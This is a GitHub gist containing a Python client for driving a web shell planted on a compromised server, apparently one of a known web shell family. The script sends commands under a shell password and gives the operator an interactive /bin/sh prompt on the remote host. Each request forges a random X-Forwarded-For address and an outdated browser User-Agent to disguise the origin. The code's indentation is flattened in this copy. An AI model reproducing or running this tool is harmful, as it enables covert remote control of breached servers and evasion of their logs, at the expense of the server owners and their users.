Skip to content

Instantly share code, notes, and snippets.

@xdqi
Last active November 19, 2022 01:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xdqi/f6483322441c68f3d551 to your computer and use it in GitHub Desktop.
Save xdqi/f6483322441c68f3d551 to your computer and use it in GitHub Desktop.
a ZGCD-compatible client
#!/usr/bin/python
# ZGCD client
# Contributor: Kirito <h@kirito.me>
# License: MIT
# TODO: urllib* compability
try:
import requests # requests is a humanic REST library
REST_LIBRARY = 'requests'
except ImportError:
try:
REST_LIBRARY = 'urllib' # python2
import urllib2
import urllib as urllibp
except ImportError:
try:
import urllib.request as urllib2 # python3
import urllib.parse as urllibp
import urllib.error
except ImportError:
sys.exit(-1)
try:
input = raw_input # python2
except:
pass # python3
import sys
import random
try:
import re2 as re # re2 is an efficient RE library
except:
import re
class Server:
def __init__(self, url, password='pass', z0='utf-8'):
self.url = url
self.password = password
self.encoding = z0
self.pwd = self.get_home_directory()
def execute(self, operation, z1=None, z2=None):
data = {'z0': self.encoding, self.password: operation}
headers = {'X-Forwarded-For': '%s.%s.%s.%s' % (random.randrange(256), random.randrange(256), random.randrange(256), random.randrange(256)),
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
} # emulation of original header
if z1 is not None:
data['z1'] = z1
if z2 is not None:
data['z2'] = z2
if REST_LIBRARY == 'requests':
result = requests.post(self.url, data=data, headers=headers)
text = result.text
else:
encoded_data = urllibp.urlencode(data)
urllib_request = urllib2.Request(self.url, encoded_data, headers=headers)
result = urllib2.urlopen(urllib_request)
text = result.read()
content = re.findall('->\|(.*)\|<-', text, re.DOTALL)[0]
return content
def get_home_directory(self):
result = self.execute('A')
return re.findall("(.*)\t", result)[0]
def shell(self, command, pwd=None):
if not pwd:
pwd = self.pwd
command = 'cd "%s";%s;echo [S];pwd;echo [E]' % (pwd, command)
result = self.execute('M', '-c/bin/sh', command)
content = re.findall('(.*)\[S\]\r\n(.*)\r\n\[E\]', result, re.DOTALL)[0][0]
self.pwd = re.findall('(.*)\[S\]\r\n(.*)\r\n\[E\]', result, re.DOTALL)[0][1]
return content
def main():
Admin = Server('URL', 'PASSWORD', 'ENCODING')
command = ''
while command is not 'exit':
try:
command = input('[%s]$ ' % Admin.pwd)
except KeyboardInterrupt: # deal with Ctrl-C
sys.stdout.write('\n')
continue
except EOFError: # deal with Ctrl-D
sys.stdout.write('\n')
sys.exit(0)
try:
sys.stdout.write(Admin.shell(command))
except IndexError: # deal with empty-line
sys.stdout.write('\n')
continue
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment